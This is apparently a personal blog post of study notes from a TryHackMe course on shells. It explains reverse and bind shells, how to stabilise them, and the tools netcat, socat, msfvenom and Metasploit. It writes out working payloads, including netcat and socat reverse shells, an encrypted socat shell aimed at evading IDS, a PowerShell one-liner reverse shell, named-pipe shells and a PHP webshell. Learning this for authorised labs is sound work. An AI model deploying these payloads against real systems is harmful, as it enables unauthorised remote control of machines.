THM – What the Shell – Part 19

This is a continued series where I document my path through different tryhackme courses. I recommend everyone that wants to learn cyber security to subscribe to and take the courses there.

What is a shell?

A shell is what we use when interfacing with a Command Line environment (CLI). Common bash or sh programs in Linux are examples of shells, same as cmd.exe and Powershell on Windows.

It is possible to force a remote server to either send us command line access to the server (a reverse shell), or to open up a port on the server which we can connect to in order to execute further commands (a bind shell).



Netcat is used to manually perform all kinds of network interactions, such as grabbing banner during enumeration. More importantly it can be used to receive reverse shells and connect to remote ports attached to bind shells on a target system. Netcat shells are very unstable (easy to lose) by default. It can however be improved by different techniques.


Socat is like netcat, but on steroids. Socat shells are more stable than netcat shells out of the box.

The syntax is more difficult and netcat is installed on almost every Linux distro by default. Socat is rarely installed.

Metasploit – multi/handler

The auxiliary/multi/handler module of Metasploit is like socat and netcat, used to receive reverse shells. Provides a fully fledged way to obtain stable shells, with many more options to improve the caught shell. It is the only way to interact with a meterpreter shell and is the easiest way to handled staged payloads.


Part of the Metasploit Framework, it is however shipped as a standalone tool. Msfvenom is used to generate payloads on the fly. Incredibly powerful tool.

Types of Shell

Reverse shell

When a target is forced to execute code that connects back to your computer. On your own computer you would use one of the tools mentioned above to set up a listener which would be used to receive the connections. Reverse shells are a good way to bypass firewall rules that might prevent you to connect to arbitrary ports on the target. The drawback when you try to receive a shell from a machine across the internet is that you would need to configure your own network to accept the shell.

Bind shells

When the code executed on the target is used to start a listener attached to a shell directly on the target. This means that it would be opened up to the internet, meaning you can connect to the port that the code has opened and obtain remote code execution that way. Advantage of not requiring any configuration on your own network but may be prevented by firewalls protecting the target.

Reverse shells are easier to execute and debut.

Reverse shell example

Left is the attacking machine and right is the target.

On the attacking machine

sudo nc -lvnp 443

On the target

nc <local ip> <port> -e /bin/bash

Bind shell example

On the target

nc <loclp ip> <port> -e “cmd.exe”

On the attacking machine

nc MACHINE_IP <port>

Difference here is that we are listening on the target machine, then connecting to it with our own machine.

Shells can be either interactive or non-interactive.

  • Interactive: Allows you to interact with programs after executing them. Powershell, bash, zsh, sh, etc. Example is SSH. When connecting the user either types yes or no in order to continue to connect.
  • Non-interactive shells: Limtied to using programs which do no require user interaction in order to run properly. Majority of simple reverse shells and bind shells are non-interacitve. Interactive programs do not work in non-interactive shells.


Netcat is the most basic tool for pentesters when it comes to any kind of networking.

Reverse shells

There are many ways to execute a shell. We’ll look at listeners.

Syntax for starting a netcat listene rusing Linux is:

nc -lvnp <port-number>
  • -l is used to tell netcat that this will be a listener
  • -v is used to request a verbose output
  • -n tells netcat not to resolve host names or use DNS.
  • -p indicates that the port specification will follow

If choosing to listen on any port below 1024, you will have to use sudo when starting your listener. Good idea to use well-know port numbers as this is more likely to get past outbound firewall rules on the target.

Bind shells

When looking to obtain a bind shell on a target then we can assume that there is already a listener waiting for us on a chosen port of the target. All we have to do is connect to it.

nc <target-ip> <chosen-port>

Here we are using netcat to make an outbound connection the target on our chosen port.

Netcat shell stabilization

Shells are very unstable by default.

Technique 1: Python

Only applicable to linux hosts. 3 steps:

  1. python -c ‘import pty;pty.spawn(“/bin/bash”) ‘. Uses python to spawn a better featured bash shell. Some target may need the version of python specified. Wont be able to use tab autocomplete or the arrow keys, and ctrl + C kills the shell
  2. export TERM=xterm – gives us access to term commands such as clear.
  3. Most importantly, background the shell using Ctrl + Z. In our terminal we use stty raw -echo; fg. Does two things: it turns off our own terminal echo (gives us access to tab autocomplete, arrow keys and ctrl +c to kill process. Then foreground the shell.

Note: if the shell is killed, any input in our own terminal will not be visible since it have been disabled. Type reset to fix this.

Technique 2: rlwrap

rlwrap gives us access to history, tab autocompletion and the arrow keys immediately upon receiving a shell. Some manual stabilizaition must be utilised if you want to use ctrl+c. Not installed by default.

Syntax for rlwrap:

rlwrap nc -lvnp <port>

This technique is very useful when dealing with Windows shells, as they tend to be very difficult to stabilize.

Technique 3: Socat

Limited to Linux machines. Use netcat shell as stepping stone into a more fully-featured socat shell. To accomplish this method of stabilization we would have to transfer a socat static compiled binary to the target machine. Easy way to achieve this is to create a simple http server using python the attacking machine (sudo python3 -m http.server 80) and on the target machine use the netcat shell to download the file. (wget <LOCAL-IP/name_of_file -O /tmp/socat).

In windows CLI environment this can be done with Powershell using either invoke-webrequest or a webrequest systemclass. (Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe).

With any of the technique above its useful to change your terminal tty size. In a reverse shell or bind shell this must be done manually, compared to a regular shell, if you want to use something like a text editor which overwrites everything on the screen.

First, open another terminal and run stty -a.

Then, in your reverse/ bind shell:

stty rows <number>


stty cols <number>

Fill in the number you got from running the command in your own terminal. This allows programs such as text editor to correctly open.


Reverse shell

Syntax for basic reverse shell listener in socat:

socat TCP-L:<port> -

this is equivalent to nc -lvnp <port>.

On Windows; use this command to connect back:

socat TCP:<local-ip>:<local-port> EXEC:powershell.exe,pipes

“pipes” option force powershell (or cmd.exe) to use Unix style standard input/output.

On Linux, use this to connect back:

socat TCP:<local-ip>:<local-port> EXEC:”bash -li”

Bind shells

On linux target:

socat TCP-L:<PORT> EXEC:"bash -li"

On a Windows target we would use this command for our listener:

socat TCP-L:<PORT> EXEC:powershell.exe,pipes

On our attacking machine, use this command to connect back to the listener:


To create a fully stable Linux tty reverse shell (this will only work on Linux):

socat TCP-L:<port> FILE:`tty`,raw,echo=0

We’re connecting to points together. In this case a listening port and a file. Allocating a new tty and setting the echo to be zero. Equivalent to using Ctrl+z, stty raw -echo; fg trick with netcat shell.

First listener ca be connect to with any payload, but this special listener must be activated with a very specific socat command. The target must have socat installed, but its possible to upload a precompiled socat binary which can then be executed as normal.

socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash li",pty,stderr,sigint,setsid,sane
  • pty, allocates a pseudoterminal on the target — part of the stabilisation process
  • stderr, makes sure that any error messages get shown in the shell (often a problem with non-interactive shells)
  • sigint, passes any Ctrl + C commands through into the sub-process, allowing us to kill commands inside the shell
  • setsid, creates the process in a new session
  • sane, stabilises the terminal, attempting to “normalise” it.

Socat shells are fully interactive, allowing use to use interactive commands such as SSH.

Use verbosity if socat is not working correctly. -d -d.

Socat encrypted shells

Socat is capable of creating encrypted shells -both bind and reverse. Encrypted shells cannot be spied on if you don’t have the decryption key, and possible to bypass an IDS as a result.

First, generate a certificate. Easiest to do on our attacking machine:

openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

This command generate a 2048 bit RSA key with matching cert file, self signed and valid for under a year.

Merge the files into a .pem file:

cat shell.key shell.crt > shell.pem

Now, setup a reverse shell listener:

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 –

The commands sets up a OPENSSL listener using our generated certificate. verify=0 tells the connection to not bother trying to validate that our certificate has been properly signed by a recognized authority. Cert must be used on whichever device is listening.

To connect back:

socat - OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

For bind shells:


socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes


socat - OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 –

For Windows as well, the cert must be used with the listener, so copying the PEM file across for a bind shell is required.

Common shell payloads

On Linux, we use this code to create a listener for a bind shell:

mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

Explanation for this command:

The command first creates a named pipe at /tmp/f. It then starts a netcat listener, and connects the input of the listener to the output of the named pipe. The output of the netcat listener (i.e. the commands we send) then gets piped directly into sh, sending the stderr output stream into stdout, and sending stdout itself into the input of the named pipe, thus completing the circle.

Similar command to send a netcat reverse shell:

mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

When targeting a modern Windows server, its common to require a powershell reverse shell.                                                                                          

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

To use this command, replace <ip> and <port>. It can then be copied into a cmd.exe shell.


Msfvenom is used to generate code for primarily reverse and bind shells. Used in lower-level exploit development to generate hexadecimal shellcode when developing something like a buffer overflow exploit. Can also be used to generate payloads in various formats (.exe, .aspx, .war, .py).

Standard syntax for msfvenom:

msfvenom -p <payload> <options>

Example for generating a Windows x64 reverse shell in a exe format:

msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>
  • -f <format>
    • Specifies the output format. In this case an exe.
  • -o <file>
    • The output location and filename for generated payload
  • LHOST=<ip>
    • Specifies the IP to connect back to.
  • LPORT=<port>
    • The port on the local machine to connect back to. Can be anything between 0 and 65535 that isn’t already in use. Under 1024 requires listener running with root privileges.

Staged vs stageless

  • Staged

Staged payloads are sent in two parts. First part is called the stager. Piece of code which is executed directly on the server itself. It connects back to a waiting listener, but doesn’t contain any reverse shell code by itself. Instead it connects to the listener and uses the connection to load the real payload executing it directly and preventing it from touching the disk where it could be caught by traditional anti-virus. Payload is split into two ports – a small initial stager require a special listener.

  • Stageless

Stageless payloads are more common. These are the one listed above in this article. Entirely self-contained. Only one piece of code which, when executed, sends a shell back immediately to the waiting listener.

Stageless payloads is easier to use and catch, they are however easier for antivirus or IDS to discover and remove. Staged payloads are harder to use, but the initial stager is shorter and is sometimes missed by less-effective antivirus software.


Meterpreter shells are very stable, making them a good thing when working with Windows targets. They have a lot of inbuilt functionality of their own, such as file uploads and downloads.

Payload naming conventions

Basic convention:


For example:


This would generate a stageless revers shell for an x86 Linux target. Exception for Windows 32bit targets. The arch is not specified:


For a 64bit Windows target, the arch would be specified as normal (x64).

Stageless payloads are denoted with underscore (shell_reverse_tcp), while staged is denoted with / (shell/reverse_tcp).

A Windows 64bit staged Meterpreter payload would look like this:


A Linux 32bit stageless Meterpreter payload would look like this:


Use msfvenom - -list payloads to list all available payloads. Can also grep for a specific set of payloads.

Metasploit multi/handler

Multi/handler are a good tool for catching reverse shells. Essential if you want to use Meterpreter shells and is the go-to when using staged payloads.

Steps to using multi/handler

  • Open Metasploit with msfconsole
  • Type use multi/handler
  • Then type exploit -J launch the module and run as a job in the background.
  • When the staged payload is generated, Metasploit receives the connection, sending the remainder of the payload and giving us a reverse shell:
  • Since the multi/handler was backgrounded, we need to use session 1 to foreground it again. If any other session is running, type sessions to see all active sessions, then use sessions <number> to select the appropriate session to foreground.


Sometimes websites allow us to upload executable files. We could use this opportunity to upload code that would activate a reverse or bind shell.

“Webshell” is a term for a script that runs inside a webserver (usually in a language such as PHP or ASP) which executes code on the server. Commands are entered into a webpage – either through a HTML form or directly as arguments in the URL – which are then executed by the script with the results returned and written to the page.

PHP command example:

<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>

This will take a GET parameter in the URL and execute it on the system with shell_exec(). What this means is that any commands we enter in the URL after ?cmd will be executed on the system – either a Windows or Linux.